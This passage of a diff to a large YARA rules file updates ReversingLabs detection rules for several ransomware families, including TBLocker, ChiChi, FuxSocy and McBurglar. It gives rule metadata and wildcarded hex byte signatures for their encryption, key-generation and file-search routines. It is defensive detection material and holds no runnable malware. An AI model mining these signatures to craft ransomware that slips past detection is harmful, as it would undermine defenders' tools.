+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "863a30e4c708e13ea0f4c6ad42a919de463926508783d6552c0cec746730baa5"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -30325,79 +31843,59 @@ rule REVERSINGLABS_Win32_Ransomware_Tblocker : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "TBLocker"
+		tc_detection_name = "ChiChi"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$main_ransomware_function_p1 = {
-            00 02 16 28 ?? ?? ?? ?? 00 02 17 28 ?? ?? ?? ?? 00 02 16 28 ?? ?? ?? ?? 00 02 16 28 ?? ?? ?? ?? 00 02
-            16 28 ?? ?? ?? ?? 00 02 28 ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 16 FE ?? 0A 06 2C ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 72 ?? ?? ?? ??
-            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 16 15 28 ?? ?? ?? ?? 26 00 00 28 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 16 FE ?? 0B 07 39 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE ?? 0C 08 2C ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 00 00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ??
-            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 00 DE ?? 25
-            28 ?? ?? ?? ?? 0D 00 28 ?? ?? ?? ?? DE ?? 00 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 17 28 ?? ?? ?? ??
-            00 02 18 28 ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ??
-            6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 59
-        }
-		$main_ransomware_function_p2 = {
-            28 ?? ?? ?? ?? B7 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ??
-            ?? 5B 28 ?? ?? ?? ?? B7 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ??
-            ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23
-            ?? ?? ?? ?? ?? ?? ?? ?? 5B 59 28 ?? ?? ?? ?? B7 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ??
-            ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 28 ?? ?? ?? ?? B7 73 ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ??
-            ?? ?? ?? ?? ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 59 28 ?? ?? ??
-            ?? B7 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F ?? DA 73 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ??
-            ?? ?? 5B 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 59 28 ?? ?? ?? ?? B7 28 ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6C 23 ?? ?? ?? ?? ?? ?? ?? ?? 5B 23 ?? ?? ?? ?? ??
-            ?? ?? ?? 5A 28 ?? ?? ?? ?? B7 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F
-        }
-		$search_files = {
-            00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 38 ?? ?? ?? ?? 06 6F ?? ?? ??
-            ?? 0B 07 07 6F ?? ?? ?? ?? 17 DA 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 16 FE
-            ?? 0C 08 2C ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE ?? 0D 09 2C ?? 00 02 07 07 72 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 07 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ??
-            ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 16 14 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? DE ?? 00 00 00 00 00 00 06 6F
-            ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? 00 DC DE ?? 25 28 ?? ?? ?? ??
-            13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 03 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ??
-            00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 11 ?? 6F ??
-            ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 17 DA 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ??
-            ?? ?? ?? 16 FE ?? 13 ?? 11 ?? 2C ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE ?? 13 ??
-            11 ?? 2C ?? 00 02 11 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 11 ??
-            28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 16 14 28 ?? ?? ?? ?? 26 28 ??
-            ?? ?? ?? DE ?? 00 00 00 00 00 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11
-            ?? 6F ?? ?? ?? ?? 00 DC DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 11 ?? 17 D6 13 ??
-            11 ?? 11 ?? 8E 69 FE ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? 2A
+		$generate_key = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ??
+            33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B D9 8B 7D ?? C7 45 ?? ?? ?? ?? ?? 89 7D ?? 85
+            FF 75 ?? 33 F6 EB ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 89 75 ?? 6A ?? 8D 4D ?? C7 45
+            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 8D
+            4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? 85 C0 74
+            ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 03 8B CB 57 56 FF 50 ?? C7 45 ?? ?? ?? ?? ?? 85 F6
+            74 ?? 83 FF ?? 8D 45 ?? 8D 4D ?? 8B FE 0F 46 C8 32 C0 56 8B 09 F3 AA E8 ?? ?? ?? ??
+            83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C2
         }
 		$encrypt_files = {
-            00 00 03 19 17 73 ?? ?? ?? ?? 0A 04 18 18 73 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 08 28 ?? ?? ?? ?? 05 6F
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 08 28 ?? ?? ?? ?? 05 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ??
-            0D 07 09 17 73 ?? ?? ?? ?? 13 ?? 06 6F ?? ?? ?? ?? 17 6A DA B7 17 D6 8D ?? ?? ?? ?? 13 ?? 06 11 ?? 16
-            11 ?? 8E 69 6F ?? ?? ?? ?? 26 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 07
-            6F ?? ?? ?? ?? 00 06 6F ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 2A
+            55 8B EC 51 53 56 57 8B D9 68 ?? ?? ?? ?? 53 89 5D ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ??
+            ?? ?? 53 FF D6 68 ?? ?? ?? ?? 8B F8 FF D6 8B 1D ?? ?? ?? ?? 03 F8 03 FF 83 C7 ?? 57
+            6A ?? FF 35 ?? ?? ?? ?? FF D3 8B F0 85 F6 74 ?? 8B 7D ?? 57 56 FF 15 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5B
+            8B E5 5D C3 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ??
+            ?? 56 6A ?? FF 35 ?? ?? ?? ?? 8B F8 FF 15 ?? ?? ?? ?? 83 FF ?? 74 ?? 8B CF E8 ?? ??
+            ?? ?? 5F 5E 5B 8B E5 5D C3 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3
+        }
+		$find_files = {
+            6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 56 FF 15 ??
+            ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 74 24 ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF
+            D7 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84
+            ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 33 F6 FF B6 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ??
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 72 ?? FF 74 24 ?? 8B 74 24 ??
+            56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 56 FF 15 ??
+            ?? ?? ?? F6 44 24 ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ??
+            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 83 E8 ?? 78 ?? 66 83
+            7C 44 ?? ?? 74 ?? 83 E8 ?? 79 ?? EB ?? 8D 74 24 ?? 8D 34 46 68 ?? ?? ?? ?? 56 FF 15
+            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84
         }
 
 	condition:
-		uint16(0)==0x5A4D and (( all of ($main_ransomware_function_p*)) and $search_files and $encrypt_files)
+		uint16(0)==0x5A4D and ($find_files) and ($generate_key) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Fuxsocy : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Mcburglar : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects FuxSocy ransomware."
+		description = "Yara rule that detects McBurglar ransomware."
 		author = "ReversingLabs"
-		id = "f4a45469-9d51-523f-8238-c7044f353cf6"
-		date = "2021-03-01"
-		modified = "2021-03-01"
+		id = "11816401-87c3-5aff-b161-da0fa4eb4bca"
+		date = "2021-09-27"
+		modified = "2021-09-27"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.FuxSocy.yara#L1-L114"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "8b3c04eb5d60fcc82e47cb8e78da0a98642666546d6799baef24b56926e3aceb"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.McBurglar.yara#L1-L75"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "57fefcdc1528fc1c8da36a431cd09774e33ea08a394ac4f8d19a27504e72676d"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -30405,108 +31903,63 @@ rule REVERSINGLABS_Win32_Ransomware_Fuxsocy : TC_DETECTION MALICIOUS MALWARE FIL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "FuxSocy"
+		tc_detection_name = "McBurglar"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_1 = {
-            83 EC ?? 53 55 57 89 54 24 ?? 8B 54 24 ?? 51 33 DB E8 ?? ?? ?? ?? 8B E8 59 85 ED 0F
-            84 ?? ?? ?? ?? 8B 44 24 ?? 89 5C 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B CB E9
-            ?? ?? ?? ?? 53 53 FF 74 24 ?? 41 FF 74 24 ?? BF ?? ?? ?? ?? FF 74 24 ?? 3B C7 0F 42
-            F8 2B C7 89 4C 24 ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 53 8D 44 24 ?? 50 57 FF 74 24 ??
-            FF 74 24 ?? FF 15 ?? ?? ?? ?? 57 FF 74 24 ?? 8D 54 24 ?? 8D 4C 24 ?? E8 ?? ?? ?? ??
-            59 59 57 8D 44 24 ?? 50 FF 74 24 ?? 33 C0 39 44 24 ?? 53 0F 94 C0 89 7C 24 ?? 50 53
-            55 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 53 FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? FF 15 ??
-            ?? ?? ?? 53 8D 44 24 ?? 50 57 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 01 7C 24 ??
-            8B 4C 24 ?? 11 5C 24 ?? F6 C1 ?? 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B 44 24
-            ?? 85 C0 0F 85 ?? ?? ?? ?? EB ?? 88 5C 24 ?? FF 74 24 ?? 8B 54 24 ?? 8B 4C 24 ?? E8
-            ?? ?? ?? ?? 59 8B 4C 24 ?? 55 89 41 ?? FF 15 ?? ?? ?? ?? 8A 5C 24 ?? 5F 5D 8A C3 5B
-            83 C4 ?? C3
+		$setup_env = {
+            00 7E ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ??
+            ?? 1B 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ??
+            ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 28 ?? ??
+            ?? ?? 00 2A
         }
-		$encrypt_files_2 = {
-            83 EC ?? 53 55 56 8B 74 24 ?? 8B C1 8B 36 57 89 54 24 ?? 89 44 24 ?? E8 ?? ?? ?? ??
-            8B F8 33 D2 8D 5F ?? 8B C6 F7 F3 33 C9 85 D2 0F 95 C1 89 54 24 ?? 33 D2 03 C8 89 4C
-            24 ?? 0F AF CF 89 4C 24 ?? E8 ?? ?? ?? ?? 8B E8 89 6C 24 ?? 85 ED 0F 84 ?? ?? ?? ??
-            33 D2 8B CF E8 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 83 64 24 ?? ??
-            48 89 6C 24 ?? 89 44 24 ?? 74 ?? 53 FF 74 24 ?? 89 5C 24 ?? 56 E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 44 24 ?? 57 50 56 33 C0 50 50 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
-            ?? ?? ?? 33 C9 85 FF 74 ?? 8B 54 24 ?? 8D 6E ?? 03 EF 8A 45 ?? 4D 88 04 11 41 3B CF
-            72 ?? 8B 6C 24 ?? 8B 44 24 ?? 03 44 24 ?? 01 5C 24 ?? 89 44 24 ?? 8B 44 24 ?? 40 89
-            44 24 ?? 3B 44 24 ?? 72 ?? 8B 44 24 ?? 85 C0 0F 45 D8 53 FF 74 24 ?? 89 5C 24 ?? 56
-            E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 57 50 56 6A ?? 6A ?? 6A ?? FF 74 24 ?? FF 15 ??
-            ?? ?? ?? 8B D8 F7 DB 1A DB 80 E3 ?? 33 C9 85 FF 74 ?? 8B 6C 24 ?? 8D 56 ?? 03 D7 8A
-            02 4A 88 04 29 41 3B CF 72 ?? 8B 6C 24 ?? 8B CE E8 ?? ?? ?? ?? 84 DB 75 ?? 8B CD E8
-            ?? ?? ?? ?? 33 ED EB ?? 32 DB EB ?? 8B 4C 24 ?? 8B 44 24 ?? 89 01 5F 5E 8B C5 5D 5B
-            83 C4 ?? C3
+		$encrypt_files_p1 = {
+            00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 2B ?? 73 ?? ?? ?? ?? 0B 07 12 ?? 28 ?? ?? ?? ??
+            7D ?? ?? ?? ?? 00 07 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00
+            00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 2A
         }
-		$find_files_1 = {
-            81 EC ?? ?? ?? ?? 53 56 57 8B BC 24 ?? ?? ?? ?? 8B F2 89 74 24 ?? 8B D9 85 FF 0F 84
-            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B D7 C1 E2 ?? 8B
-            CE E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0
-            0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D3 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 84 C0
-            0F 84 ?? ?? ?? ?? 55 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D
-            44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B E8
-            83 FD ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8B 44
-            24 ?? 83 E0 ?? 74 ?? F6 84 24 ?? ?? ?? ?? ?? 75 ?? 85 C0 75 ?? F6 84 24 ?? ?? ?? ??
-            ?? 74 ?? 33 F6 85 FF 74 ?? 8B 44 24 ?? FF 34 B0 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85
-            C0 75 ?? 46 3B F7 72 ?? EB ?? FF B4 24 ?? ?? ?? ?? 8D 44 24 ?? 50 53 FF 94 24 ?? ??
-            ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 74 ?? FF B4 24 ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 8B 74 24 ?? F6 44 24 ?? ?? 74 ?? F6 84 24 ?? ?? ?? ?? ?? 74
-            ?? 8D 44 24 ?? 50 8B D3 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 84 C0 74 ?? 83 BC 24
-            ?? ?? ?? ?? ?? 74 ?? FF B4 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B
-            D6 FF B4 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ??
-            ?? FF B4 24 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 55 FF 15 ?? ?? ??
-            ?? 85 C0 0F 85 ?? ?? ?? ?? EB ?? 83 64 24 ?? ?? 55 FF 15 ?? ?? ?? ?? 5D 5F 5E 5B 81
-            C4 ?? ?? ?? ?? C3
+		$encrypt_files_p2 = {
+            00 28 ?? ?? ?? ?? 0A 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 73 ?? ?? ?? ?? 0B 73 ?? ?? ??
+            ?? 0C 28 ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 00 11 ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11 ?? 18 6F ?? ?? ?? ?? 00 09 06
+            20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ??
+            ?? 00 11 ?? 1A 6F ?? ?? ?? ?? 00 07 06 16 06 8E 69 6F ?? ?? ?? ?? 00 07 11 ?? 6F ?? ??
+            ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 02 19 73 ?? ?? ?? ?? 13 ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ??
+            13 ?? 00 2B ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 11 ?? 16 11 ?? 8E 69
+            6F ?? ?? ?? ?? 25 13 ?? 16 FE 02 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 13
+            ?? 00 72 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? DE
+            ?? 00 11 ?? 6F ?? ?? ?? ?? 00 07 6F ?? ?? ?? ?? 00 00 DC 2A
         }
-		$find_files_2 = {
-            81 EC ?? ?? ?? ?? 8D 44 24 ?? 53 55 56 68 ?? ?? ?? ?? 50 8B D9 FF 15 ?? ?? ?? ?? 8B
-            F0 85 F6 0F 84 ?? ?? ?? ?? 8D 6C 24 ?? 8D 6C 75 ?? 33 C0 66 89 44 74 ?? 68 ?? ?? ??
-            ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 59 E8 ?? ?? ?? ?? 83 C0 ?? 6A ?? 59 66 89
-            45 ?? E8 ?? ?? ?? ?? 83 C0 ?? 66 89 44 74 ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50
-            FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 84 C0 74 ?? 8D 84 24 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 83 64 24 ?? ?? 8D 44
-            24 ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 53
-            FF 15 ?? ?? ?? ?? 5E 5D 5B 81 C4 ?? ?? ?? ?? C3
+		$find_files = {
+            00 00 02 28 ?? ?? ?? ?? 0A 00 06 0C 16 0D 2B ?? 08 09 9A 13 ?? 00 11 ?? 28 ?? ?? ?? ??
+            00 00 09 17 58 0D 09 08 8E 69 32 ?? 02 28 ?? ?? ?? ?? 0B 00 07 13 ?? 16 13 ?? 2B ?? 11
+            ?? 11 ?? 9A 13 ?? 00 11 ?? 28 ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32
+            ?? 00 DE ?? 26 00 00 DE ?? 2A
         }
-		$find_files_3 = {
-            81 EC ?? ?? ?? ?? 53 55 56 8B D9 57 8B FA 85 DB 74 ?? 33 D2 E8 ?? ?? ?? ?? 8B F0 85
-            F6 0F 84 ?? ?? ?? ?? 57 56 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
-            83 C4 ?? 8B CE E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 C6 43 ?? ?? FF 15 ?? ?? ?? ??
-            0D ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24
-            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? EB ?? 57 FF 15 ?? ?? ?? ?? 0D ?? ?? ?? ?? 50 57 FF
-            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D7 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 84 C0 0F
-            84 ?? ?? ?? ?? 8B B4 24 ?? ?? ?? ?? 80 7E ?? ?? 75 ?? 8B 15 ?? ?? ?? ?? 8D 8C 24 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F 84 ?? ?? ?? ?? 83 64 24 ?? ?? 6A ?? FF 35 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 84 C0
-            0F 85 ?? ?? ?? ?? F7 44 24 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 56
-            57 FF 15 ?? ?? ?? ?? 50 8B D7 8B CB E8 ?? ?? ?? ?? 59 59 89 44 24 ?? 85 C0 0F 84 ??
-            ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? F6 44
-            24 ?? ?? 74 ?? 80 7E ?? ?? 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 56 FF B4 24 ??
-            ?? ?? ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 59 59 EB ?? 80 7E ?? ?? 74 ?? 85 DB 74 ?? 83 7C
